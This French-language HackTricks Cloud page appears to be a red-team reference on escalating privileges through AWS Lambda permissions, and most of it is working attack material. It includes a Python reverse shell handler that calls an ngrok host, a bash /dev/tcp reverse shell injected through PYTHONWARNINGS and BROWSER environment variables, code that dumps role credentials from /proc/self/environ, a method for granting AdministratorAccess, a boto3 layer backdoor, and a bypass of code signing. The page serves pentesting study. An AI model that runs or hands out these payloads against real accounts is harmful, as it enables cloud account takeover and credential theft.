AWS - Lambda Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
lambda
Plus dâinformations sur lambda dans:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Les utilisateurs disposant des permissions iam:PassRole, lambda:CreateFunction, et lambda:InvokeFunction peuvent escalader leurs privilĂšges.
Ils peuvent crĂ©er une nouvelle fonction Lambda et lui assigner un rĂŽle IAM existant, accordant Ă la fonction les permissions associĂ©es Ă ce rĂŽle. Lâutilisateur peut ensuite Ă©crire et tĂ©lĂ©verser du code dans cette fonction Lambda (par exemple un rev shell).
Une fois la fonction configurĂ©e, lâutilisateur peut dĂ©clencher son exĂ©cution et les actions prĂ©vues en invoquant la fonction Lambda via lâAPI AWS. Cette approche permet donc Ă lâutilisateur dâeffectuer des actions de maniĂšre indirecte via la fonction Lambda, en opĂ©rant avec le niveau dâaccĂšs accordĂ© au rĂŽle IAM qui y est associĂ©.\
Un attaquant pourrait abuser de ceci pour obtenir un rev shell et voler le token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Vous pourriez Ă©galement abuser des permissions du rĂŽle lambda depuis la fonction lambda elle-mĂȘme.
Si le rĂŽle lambda disposait de permissions suffisantes, vous pourriez lâutiliser pour vous accorder des droits dâadministrateur :
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Il est aussi possible de leak les credentials du rĂŽle de la lambda sans avoir besoin dâune connexion externe. Ceci est utile pour les Network isolated Lambdas utilisĂ©es pour des tĂąches internes. Sâil existe des security groups inconnus filtrant vos reverse shells, ce code vous permettra de leak directement les credentials en sortie de la lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Impact potentiel : privesc direct vers le rÎle de service lambda arbitraire spécifié.
Caution
Notez que mĂȘme si cela peut sembler intĂ©ressant
lambda:InvokeAsyncne permet pas Ă lui seul dâexĂ©cuteraws lambda invoke-async, vous avez aussi besoin delambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Comme dans le scénario précédent, vous pouvez vous accorder la permission lambda:InvokeFunction si vous avez la permission lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Impact potentiel : Privesc direct vers le rÎle de service lambda arbitraire spécifié.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Les utilisateurs disposant des permissions iam:PassRole, lambda:CreateFunction, et lambda:CreateEventSourceMapping (et potentiellement dynamodb:PutItem et dynamodb:CreateTable) peuvent indirectement escalate privileges mĂȘme sans lambda:InvokeFunction.
Ils peuvent créer une fonction Lambda contenant du code malveillant et lui assigner un rÎle IAM existant.
Au lieu dâinvoquer la fonction Lambda directement, lâutilisateur configure ou utilise une table DynamoDB existante, la reliant Ă la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est dĂ©clenchĂ©e automatiquement lors de lâajout dâun nouvel Ă©lĂ©ment dans la table, que ce soit par lâaction de lâutilisateur ou par un autre processus, invoquant ainsi indirectement la fonction Lambda et exĂ©cutant le code avec les permissions du rĂŽle IAM passĂ©.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Si DynamoDB est dĂ©jĂ actif dans lâenvironnement AWS, lâutilisateur doit uniquement Ă©tablir lâevent source mapping pour la fonction Lambda. Cependant, si DynamoDB nâest pas utilisĂ©, lâutilisateur doit crĂ©er une nouvelle table avec le streaming activĂ© :
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Il est maintenant possible de connecter la fonction Lambda à la table DynamoDB en créant un event source mapping :
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Avec la Lambda function liĂ©e au DynamoDB stream, the attacker peut indirectly trigger the Lambda by activating the DynamoDB stream. Cela peut ĂȘtre accompli en inserting an item dans la DynamoDB table:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Impact potentiel : Privesc direct vers le lambda service role spécifié.
lambda:AddPermission
Un attacker disposant de cette permission peut se donner (ou donner Ă dâautres) nâimporte quelles autorisations (cela gĂ©nĂšre resource based policies pour accorder lâaccĂšs Ă la resource) :
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Impact potentiel : Privesc direct vers le rĂŽle de service lambda utilisĂ© en accordant lâautorisation de modifier le code et de lâexĂ©cuter.
lambda:AddLayerVersionPermission
Un attaquant disposant de cette autorisation peut sâaccorder (ou accorder Ă dâautres) lâautorisation lambda:GetLayerVersion. Il pourrait accĂ©der Ă la layer et rechercher des vulnĂ©rabilitĂ©s ou des informations sensibles
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Potential Impact: AccĂšs potentiel Ă des informations sensibles.
lambda:UpdateFunctionCode
Les utilisateurs disposant de la permission lambda:UpdateFunctionCode ont la possibilitĂ© de modifier le code dâune existing Lambda function qui est liĂ©e Ă un IAM role.
Lâattaquant peut modifier le code de la lambda pour exfiltrer les IAM credentials.
Bien que lâattaquant puisse ne pas avoir la capacitĂ© directe dâinvoquer la fonction, si la Lambda function est prĂ©existante et opĂ©rationnelle, il est probable quâelle soit dĂ©clenchĂ©e via des workflows ou des Ă©vĂ©nements existants, facilitant ainsi indirectement lâexĂ©cution du code modifiĂ©.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Impact potentiel : Privesc direct vers le lambda service role utilisé.
lambda:UpdateFunctionConfiguration
RCE via variables dâenvironnement
Avec ces permissions, il est possible dâajouter des variables dâenvironnement qui feront exĂ©cuter du code arbitraire par la Lambda. Par exemple, en python, il est possible dâabuser des variables dâenvironnement PYTHONWARNING et BROWSER pour amener un processus python Ă exĂ©cuter des commandes arbitraires :
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Pour dâautres langages de script, il existe dâautres variables dâenvironnement (env variables) que vous pouvez utiliser. Pour plus dâinformations, consultez les sous-sections des langages de script dans :
macOS Process Abuse - HackTricks
RCE via Lambda Layers
Lambda Layers permet dâinclure du code dans votre fonction lamdba tout en le stockant sĂ©parĂ©ment, de sorte que le code de la fonction puisse rester petit et que plusieurs fonctions puissent partager ce code.
Ă lâintĂ©rieur de lambda, vous pouvez vĂ©rifier les chemins depuis lesquels le code python est chargĂ© avec une fonction comme la suivante:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
These are the places:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).
Exploitation
Itâs possible to abuse the permission lambda:UpdateFunctionConfiguration to add a new layer to a lambda function. To execute arbitrary code this layer need to contain some library that the lambda is going to import. If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is already using a layer and you could download the layer and add your code in there.
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
pip3 install -t ./lambda_layer boto3
Vous pouvez ouvrir ./lambda_layer/boto3/__init__.py et ajouter la backdoor dans le code global (une fonction pour exfiltrate credentials ou obtenir un reverse shell, par exemple).
Ensuite, zippez le rĂ©pertoire ./lambda_layer et uploadez le nouveau lambda layer dans votre propre compte (ou dans celui de la victime, mais il se peut que vous nâayez pas les permissions pour cela).
Notez que vous devez crĂ©er un dossier python et y placer les bibliothĂšques pour override /opt/python/boto3. De plus, le layer doit ĂȘtre compatible avec la version de python utilisĂ©e par la lambda et si vous lâuploadez dans votre compte, il doit ĂȘtre dans la mĂȘme rĂ©gion:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Maintenant, rendez la lambda layer tĂ©lĂ©versĂ©e accessible par nâimporte quel compte:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
Et attachez le lambda layer Ă la victim lambda function :
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
LâĂ©tape suivante serait soit dâinvoquer la fonction nous-mĂȘmes si nous le pouvons, soit dâattendre quâelle soit invoquĂ©e par des moyens normaux â ce qui est la mĂ©thode la plus sĂ»re.
Une façon plus discrĂšte dâexploiter cette vulnĂ©rabilitĂ© se trouve dans :
AWS - Lambda Layers Persistence
Impact potentiel : Privesc direct sur le rÎle de service lambda utilisé.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Peut-ĂȘtre quâavec ces permissions vous pouvez crĂ©er une fonction et lâexĂ©cuter en appelant lâURL⊠mais je nâai pas trouvĂ© de moyen de le tester, alors dites-moi si vous y arrivez !
Lambda MitM
Certaines lambdas vont recevoir des informations sensibles des utilisateurs via des paramĂštres. Si vous obtenez un RCE dans lâune dâelles, vous pouvez exfiltrer les informations que dâautres utilisateurs lui envoient, regardez dans :
Références
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode â Contourner la signature de code Lambda
Si une fonction Lambda applique la signature du code, un attaquant qui peut soit supprimer la Code Signing Config (CSC), soit la rĂ©trograder en mode Warn peut dĂ©ployer du code non signĂ© dans la fonction. Cela contourne les protections dâintĂ©gritĂ© sans modifier le rĂŽle IAM de la fonction ni ses triggers.
Permissions (lâune des suivantes) :
- Voie A :
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Voie B :
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Remarques :
- Pour la Voie B, vous nâavez pas besoin dâun profil AWS Signer si la politique CSC est rĂ©glĂ©e sur
WARN(artefacts non signés autorisés).
Ătapes (REGION=us-east-1, TARGET_FN=
Préparez un petit payload :
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Chemin A) Supprimer CSC puis mettre Ă jour le code :
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Option B) RĂ©trograder en Warn et mettre Ă jour le code (si la suppression nâest pas autorisĂ©e):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Compris.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Impact potentiel : PossibilitĂ© de dĂ©ployer et dâexĂ©cuter du code arbitraire non signĂ© dans une fonction qui Ă©tait censĂ©e imposer des dĂ©ploiements signĂ©s, pouvant entraĂźner lâexĂ©cution de code avec les permissions du rĂŽle de la fonction.
Nettoyage :
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

